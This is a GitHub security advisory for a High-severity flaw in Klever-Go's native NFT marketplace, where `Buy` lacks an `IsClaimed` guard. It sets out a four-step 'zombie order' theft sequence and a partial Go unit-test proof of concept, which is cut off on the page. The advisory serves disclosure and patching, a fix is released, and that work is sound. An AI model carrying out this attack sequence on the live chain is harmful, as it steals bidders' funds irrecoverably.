GitHub Advisoryadvisory · Go
GHSA-26r5-4mm2-px5c Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace
HIGH
Official page ↗
- Aliases
- CVE-2026-82406
- Ecosystem
- Go
- Packages
- github.com/klever-io/klever-go
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-841
- Reviewed
- 2026-09-23
Affected packages
• Go github.com/klever-io/klever-go: < 1.7.20 → fixed in 1.7.20
Description
Location: `core/kapp/market/market.go` — `Buy()` (approx. L281–436)\
Severity: High
The native marketplace enforces an `IsClaimed` guard in `Claim` (`market.go:752`), `CancelOrder` (`market.go:1125`), and `orderEscrowAmount` (`market.go:251`), but not in `Buy`.
Marketplace escrow is *virtual*: the market KApp account never custodies currency. A bid burns funds from the bidder (`bidderAcc.SubFromBalance`, ~L378), and refunds/payouts mint to the recipient (`AddToBalance`, e.g. the prior-bidder refund at ~L349). Soundness depends on each order's `CurrentBid` being paid out exactly once.
A seller can settle a resting-bid auction early via the seller-accept branch of `Claim` (~L776) → `executeBuyMarket` (~L656). That path sets `IsClaimed=true`, delivers the NFT, pays the seller, and re-saves the order (`SetMarketOrder`, ~L726) — but, unlike every other settle path, it does not reset `EndTime` (contrast immediate-buy `Buy` ~L416 and `CancelOrder` ~L1206), and no code path deletes the order. The result is a "zombie" order: already settled, yet still loadable with `EndTime` in the future and a stale `CurrentBidder`.
Because `Buy` has no `IsClaimed` guard, a new bidder can still `Buy` on that settled order (the bid guard at ~L317 only forces the new amount `Y > CurrentBid X`). The new bidder is debited `Y`; the prior bidder is refunded `X` (funded by the new bidder, not minted); the new bidder becomes `CurrentBidder` on an `IsClaimed` order and can then neither `Claim` (reverts on `IsClaimed`) nor `CancelOrder` (reverts on `IsClaimed`). Their funds are lost permanently.
Attack sequence (permissionless , anyone can create a sell order):
1. Attacker (seller `S`) creates a resting-bid auction (`Price=0`, `ReservePrice>0`) for an NFT and self-bids `X` as bidder `A` (Sybil).
2. `S` accepts `A`'s bid early via `Claim` → NFT goes to `A` (= attacker, keeps it), `S` (= attacker) collects the owner payout, order marked `IsClaimed=true` but left "live".
3. Victim `B` bids `Y > X` on the still-live-looking auction via `Buy`. `Buy` refunds prior bidder `A` the amount `X` (`AddToBalance`, L349) and burns `Y` from `B` (`SubFromBalance`, L378).
4. `B` is now `CurrentBidder` on a claimed order and can neither `Claim` nor `CancelOrder` — both revert on `IsClaimed`. `B`'s `Y` is unrecoverable; `X` of it was siphoned to `A`; `Y−X` is destroyed.
POC
```
package market
import (
"testing"
"github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core/kapp"
"github.com/klever-io/klever-go/core/process/kda/kdautils"
"github.com/klever-io/klever-go/data/block"
"github.com/klever-io/klever-go/data/state"
"github.com/klever-io/klever-go/data/transaction"
"github.com/klever-io/klever-go/kapps"
"github.com/klever-io/klever-go/kvm/mock/stub"
"github.com/stretchr/testify/require"
)
// TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy proves the fund-loss / theft
// vulnerability caused by `Buy` lacking the `IsClaimed` guard that `Claim`
// (market.go L752) and `CancelOrder` (market.go L1125) both enforce.
//
// Attack (attacker A == seller S, victim B):
// 1. S lists an NFT as an Auction with Price=0, ReservePrice=R (bids REST).
// 2. A places a resting bid X >= R via Buy (records CurrentBid/CurrentBidder,
// no settlement because Price==0).
// 3. S accepts the resting bid early via Claim's seller-accept branch (L776),
// which routes to executeBuyMarket: IsClaimed=true, NFT delivered to A,
// proceeds paid to S(=A). This settle path is the ONLY one that does NOT
// reset EndTime and does NOT delete the order -> the order becomes a live
// "zombie" (IsClaimed=true, EndTime in the future, still loadable).
// 4. Victim B calls Buy on the zombie order with Y > X. Buy has no IsClaimed
// guard, so it SUCCEEDS: B is debited Y, prior bidder A is "refunded" X
// (funded by B), and B becomes CurrentBidder on an already-claimed order.
// 5. B can NEITHER Claim (reverts on IsClaimed) NOR CancelOrder (reverts on
// IsClaimed). B's Y is unrecoverable; X of it is siphoned to A.
//
// HARM proven: B ends down Y with no NFT and no recovery path; A ends up X.
func TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy(t *testing.T) {
const (
blockTime = int64(1000)
endTime = int64(1_001_000) // future relative to blockTime
reserve = int64(1_000_000) // R
bidX = int64(1_000_000) // A's resting bid (== reserve, >= reserve required)
bidY = int64(2_000_000) // B's bid on the zombie order (must be > X)
fundAttacker = int64(10_000_000)
fundVictim = int64(10_000_000)
)
klv := kdautils.KLVIdentifier
collectionID := []byte("ZOMBIE-COLL")
assetID := []byte("1")
marketplaceID := []byte("mp-zombie")
orderID := []byte("order-zombie")
attacker := defaultAddr // A == S (seller and first bidder)
victim := defaultOther // B
marketKApp, accCacher, forkController := createTestMarketKApp(t)
// Post-fork behaviour (guards on royalty overflow enabled); does not touch
// the missing-IsClaimed-guard path being tested.
forkController.FixMarketBuyOverflowValue = true
// --- Fund the two user accounts (Buy debits real balances) ---
attackerAcc, err := accCacher.LoadUser(attacker)
require.NoError(t, err)
require.NoError(t, attackerAcc.AddToBalance(fundAttacker, klv, false))
require.NoError(t, accCacher.UpdateUser(attackerAcc))
victimAcc, err := accCacher.LoadUser(victim)
require.NoError(t, err)
require.NoError(t, victimAcc.AddToBalance(fundVictim, klv, false))
require.NoError(t, accCacher.UpdateUser(victimAcc))
// --- Set up the market KApp: marketplace + escrowed NFT + resting auction order ---
marketKappAcc, err := accCacher.LoadKApp(kapps.MarketKAppAddress)
require.NoError(t, err)
require.NoError(t, marketKApp.SetMarketplace(marketKappAcc, &kapps.Marketplace{
ID: marketplaceID,
OwnerAddress: attacker,
Name: []byte("Zombie Market"),
ReferralAddress: attacker,
ReferralPercentage: 0, // keep accounting clean
}))
// The NFT is escrowed in the market KApp (as if seller deposited it via Sell).
require.NoError(t, marketKappAcc.AddInternalKDA(collectionID, assetID, []byte("nft-data")))
// Auction with Price=0, ReservePrice=R -> bids REST (see Buy L330-337 and
// Sell L1003-1014: Auction has no Price>0 requirement).
order := &kapps.MarketOrderData{
ID: orderID,
MarketplaceID: marketplaceID,
MarketType: kapps.MarketOrderData_Auction,
OwnerAddress: attacker,
CollectionID: collectionID,
AssetID: assetID,
CurrencyID: klv,
Price: 0, // <-- makes bids rest instead of auto-settle
ReservePrice: reserve, // R
ReferralPercentage: 0,
StartTime: blockTime,
EndTime: endTime, // future
IsClaimed: false,
}
require.NoError(t, marketKApp.SetMarketOrder(marketKappAcc, order))
require.NoError(t, accCacher.UpdateKapp(marketKappAcc))
// --- Shared KApp context / controller wiring for all handler calls ---
receiptsStub := mock.NewReceiptsContextStub()
ctx := &mock.KAppContextStub{
ContractIDCalled: func() int { return 0 },
ReceiptsCalled: func() kapp.ReceiptsContext { return receiptsStub },
BlockCalled: func() *block.Block {
return &block.Block{Header: &block.BlockHeader{Timestamp: blockTime}}
},
TxNonceCalled: func() uint64 { return 1 },
}
// Zero-royalty asset so executeBuyMarket pays only marketOwnerAmount (== bid) to the owner.
asset := &kapps.KDAData{
OwnerAddress: attacker,
Royalties: &kapps.RoyaltiesData{
Address: attacker,
MarketPercentage: 0,
SplitRoyalties: make(map[string]*kapps.RoyaltySplitData),
},
}
controllerStub := &stub.KAppControllerStub{
GetCurrentKAppContextCalled: func() kapp.KappContext { return ctx },
GetKDAKAppCalled: func() kapp.KDAKapp {
return &stub.KDAKappStub{
GetKDACalled: func(_ []byte) (state.KAppAccountHandler,…
Related
Alias · CVE (1)
- CVE-2026-82406 Klever-Go is the Go implementation of the Klever blockchain protocol. vulnerability
Weakness · CWE (1)
- CWE-841 Improper Enforcement of Behavioral Workflow weakness
References
- https://github.com/klever-io/klever-go/security/advisories/GHSA-26r5-4mm2-px5c web
- https://github.com/klever-io/klever-go/pull/16 web
- https://github.com/klever-io/klever-go/commit/063bb3ed98f9a84a4b1f7286680613a5fc3c91b2 web
- https://github.com/klever-io/klever-go package
- https://github.com/klever-io/klever-go/releases/tag/v1.7.20 web